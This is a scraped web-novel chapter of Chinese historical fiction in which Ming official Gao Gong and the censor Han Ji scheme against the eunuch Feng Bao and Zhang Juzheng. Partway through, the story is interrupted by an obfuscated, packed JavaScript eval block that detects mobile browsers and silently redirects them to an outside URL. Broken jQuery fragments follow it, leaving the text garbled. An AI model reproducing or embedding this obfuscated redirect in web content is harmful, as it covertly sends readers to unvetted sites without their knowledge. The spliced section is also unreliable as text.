默认冷灰
24号文字
方正启体

27.第 27 章

作者:伯瑞本书字数:K更新时间:
    “元辅可知,今日孟冲被内厂禁在廊下家,大内已然掌控在了冯保手中了。


    我看形势不妙,冯保那厮,外作斯文,内秉张狂。


    昨日皇上在文华殿分批受百官朝贺,我等科道言官朝贺时,那冯保就公然站在御座旁受礼,丝毫不知避让,背着两宫太后的眼,他真当自己是二皇帝了!”


    “有这等事儿?是可忍孰不可忍!”高拱拍案而起。


    “千真万确的事情,当时六科和十三道御史人人看在眼里,若不是登基大典不容差错,岂容那厮这等猖狂!”


    高拱立时就要发作,不过转而一想,那冯保这些行为都是背着两宫来施展的,若是空口白牙指叱冯保,此时却没有证据。


    指望小皇帝?新帝只有十岁的年纪,他能知道些什么?冯保又是从小陪伴新帝长大的大伴,这打鼠唯恐伤了玉瓶,不由得为难起来。


    韩揖哪里知道高拱的犹疑之处,忙不迭地补充:“元辅,冯保现已掌管东厂,譬如当初刘瑾掌管神机营,不能再放任下去了。一旦这厮掌印,这内廷军、政皆握于一手,恐又是一场‘甘露之变’啊!”


    这‘甘露之变’主人公就是唐朝大太监仇士良,此等狠人,挟文宗,立武宗,侄女嫁宣宗,历经七朝。彼时唐文宗以观露为名,将宦官头目仇士良骗至禁卫军的后院欲斩杀,被仇士良发觉,双方交战。


    其结果是朝廷重要官员李训、王涯、贾餗、舒元舆、王璠、郭行余、罗立言、李孝本、韩约等被宦官杀死,其家人也受到牵连而灭门,在这次事变后受株连被杀的一千多人,史称“甘露之变”。


    韩揖这话夸张了些,锦衣卫毕竟不是正规军队,大明朝的司礼监大貂珰也并不能如汉、唐后期的太监一样直接掌控军权。


    但即便如此,也引起了高拱的警觉,这种风气必须要扼杀在萌芽之初,况且新皇只有十岁,最容易受身边人的影响。


    高拱沉吟片刻,反问道:“依你之见,该当如何?”


    “依王振、刘瑾之例,杀!”韩揖斩钉截铁道。


    高拱刚待要说点儿什么,忽然听见外面一声嘹亮尖细的声音:“皇上传旨内阁——”


    高拱和韩揖两人对视一眼,皆从彼此眼中见到惊疑之色,这是皇上登基后第一道圣旨,按照成宪,应该是皇上下诏给内阁,内阁会根据皇帝意见负责起草或票拟,呈递给皇帝检阅之后,由皇帝做最后的修改和决定,一旦内容最终确定,皇帝再签字并加盖宝玺。


    可是这道圣旨下达,内阁一无所知,高拱身为内阁首辅一丝风声都没听到,还是在新皇刚刚登基的敏感时刻,这绝对不是一件小事。


    因为圣旨下达给内阁,韩揖早就回避到另外一间内室,高拱铁青着一张脸跪下接旨。


    牙牌太监张宏展开一卷提花黄绫横轴:


    奉,天承运,皇帝诏,曰:从即日起,解除孟冲司礼监掌印太监职务,着冯保接任,并兼掌东厂。内阁知道。钦此。


    高拱一听到皇帝直接绕过内阁下达旨意,心中就止不住的恼火。


    明朝制度,内阁和六科对皇帝的诏令有复奏封驳权,所以这两个衙门是位卑权大,内阁阁臣只有五品,六科都给事中也只有六品,但却隐隐有凌驾于众臣之上的地位。


    这从内阁和六科的值房地点上也能体现出来,别的衙门都在皇宫外办公,只有内阁和六科当值在午门内,过了午门向西穿归极门是六科给事中的办公地点六科廊,向东穿会极门则是内阁的办公地点文渊阁。


    高拱看中的也是这两个衙门对皇帝的监察之权,但是有时候,皇帝不想要内阁和六科掣肘,则绕过监察之权,直接下达手谕到内阁,这称为中旨。这道圣旨就是典型的中旨。


    这才登基后第一天,皇帝下达的第一道圣旨就绕开了内阁自行其是,这无疑是一记耳光狠狠地扇到高拱脸上,同样向外传递了一个非常不妙的政治信号:皇帝不信任内阁!否则为何第一道便是中旨?


    更令人忧虑的是,小皇帝只有十岁,这旨意必然不是皇帝的本意,那就是两宫太后的意思了。


    妇道人家不知政事,偏听偏信、易受小人蒙蔽,偏偏又秉持着大义名分,裹挟着小皇帝下达乱命,此例一开,此后可如何是好?!


    高拱越想越气,跪在地上愣愣得出神,忘记了去接旨。


    张宏见此,脸色十分不好看。目无尊上,高拱这是摆脸色给谁看?自己拿着圣旨,就是代表着皇上,他是对圣上不满么?


    “高阁老,接旨吧!”这时也不称呼‘高先生’了,一句高阁老,显然这位牙牌大貂珰也是有脾气的。


    高拱也听出了张宏话音中的不善,只是高拱这时满心火气,已经不在意别人了。刚刚与韩揖讨论了冯保的事情,还未定论,分明屋漏偏逢连阴雨、船迟又遇打头风,怕什么来什么。


    先帝一走,皇宫大内立刻就有了乱象。


    先遗诏中出现‘司礼监协心辅佐’的说法,历朝历代哪有将国事托付给太监的情况?


    那时司礼监掌印还是孟冲,不过一日夜,便有了罢免孟冲,令冯保取而代之的中旨。


    原来遗诏中的司礼监竟然是给冯保量身定制的?


    遗诏宣读时,只说司礼监,众人悲伤中不曾留意,如今却换上了冯保掌印,这不是阴谋是什么?!


    高拱不情不愿地接了圣旨,恨恨道:“宦官安得受顾命?不经凤阁鸾台,何名为敕?”这句话出自唐朝宰相刘祎之之口,意思是‘不经过中书省和门下省的审议,怎么能称为敕令呢?’


    放在此刻,意思就是不经过内阁拟票,皇帝怎么能擅自下达诏令呢?


    “高阁老这话别对咱说,咱听不得这个,咱就知道些宫府一体、和衷共济的道理,高阁老学富五车,自然是比咱更懂道理的。旨意已传到,告辞!”


    张宏说罢也不等高拱反应,看样子高拱也不打算相送,自己转身就走了。


    此时韩揖才从内室中小心翼翼地踅出来,高拱本就怒气未消,见韩揖这一脸讳莫如深的样子,更觉气闷:“什么样子,你的大臣风度呢?!”


    韩揖知道高拱此时心情不好,自然不与他计较,顾自从旁边的风炉上提起水来注入铜盆中,毛巾放入其中浸湿,绞了出来拧干水分,递给了高拱。


    高拱随意接过来,擦了擦满头大汗,语气和缓了不少:“以后不用做这等事儿,你是朝臣,我何用你来伺候?刚刚中旨你也听到了?”


    “已经听到了,元辅,冯保已成势,不容小觑啊!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642455|172618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    韩揖小声道,“我还担心另一件事情,今元辅与中贵人交恶,唯恐他人坐收渔翁之利啊!”


    高拱猛然抬头,眼光冷飕飕明亮亮地射向韩揖,“你是说?”


    “元辅自然知道,何必我说得明白。轩辕皇帝创五运六气,言一甲子一轮回。上一甲子是正德初年,司礼监刘瑾当权。内阁三顶柱分别是:河南人刘希贤(刘健)、浙江人谢于乔(谢迁)、湖广人李宾之(李东阳)。


    再论当今,阉竖冯保掌印,元辅是河南人,高阁老是浙江人,张阁老是湖广人,这岂不是巧之又巧!


    再看那湖广人李宾之(李东阳)心机深沉、高才绝识,排首辅、却次辅,交接宦官,里通外达。元辅,岂可重蹈覆辙乎!”


    高拱听了韩揖此话,免不了心下掂掇,冯保已成气候,若再联手张居正,必然强弱兑转,恐人为刀俎、我为鱼肉,彼时大好形势败得磬尽、寸土俱无!


    他可太清楚张居正的本领了。当初同在在裕王府做讲官时,太岳分明肃穆、鲜少和易,却最得众人之心,内侍皆称其贤。与冯保这个世子大伴相交和睦,略无参商。不由得叹了一句:“三十功名尘与土啊!”


    韩揖并不理解高拱的这一声感叹,人情若比初相识,到底终无怨恨心。是昔日裕王府中的风云际会,亦或者今日朝堂争端的物走星转,是曾经香山盟约的肝胆相照,还是当今各持己见的人非物换。


    杨意不逢,抚凌云而自惜;钟期既遇,奏流水以何惭。可惜!可叹!


    “元辅,庆父不死,鲁难未已!”


    思来想去,高拱决定来一招釜底抽薪,既然冯保对后宫和小皇帝有如此大的影响,且沟通内外、添油加火,那不如越过司礼监,直接让皇帝亲答。


    这类事情不但高拱熟悉,韩揖同样熟悉,两人皆是斫轮老手,之前数位元老,从陈以勤、到李春芳、退赵贞吉、逐殷士儋,首辅与六科都给事中配合默契,一个弹劾、一个定性,简直所向披靡。


    韩揖虽然嘴上说着冯保何等可恶,不过是明修栈道,实则剑指张居正,才是暗度陈仓。


    他这个都给事中是高拱一手提拔起来的,没有共同目标,就没有存在价值,一旦没有存在价值,从哪里才能报答元辅的知遇之恩?又能用谁的倒台升一升自己这锦绣补服?之前已有数位阁臣被驱逐于笔尖刀锋之下,何啻多一张居正乎?!


    为了报答元辅的知遇之恩、为了国朝稳定、为了自己的官位业绩。那冯保必须可恶!那张居正必须奸猾!


    只为世人但顾小利,不思大局,只要损人利己,岂知人有百算,天只有一算。韩揖和其同道人等一起挑起了首、次辅相争之局,趁着新帝冲龄践祚,好瓜连蔓引敲掉一个小小的掌印太监,心下想得滑碌碌的一条路,天未必随你走哩!


    “元辅,不要再犹豫了,牺牲既成,粢盛既絜,祭祀以时,然而旱干水溢,则变置……”


    韩揖一句话未说完,便被高拱严厉地眼神打断,这才反应过来,此比用在这处实在不妥,瞬间冷汗就下来了,“我一时思之不熟,元辅见谅!”


    见高拱摆手示意,忙行了一礼,退出值房。


    真乃:阴阳命数似有无,也需气运两相扶。凡人不解风霜意,枉使苦心着意图!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)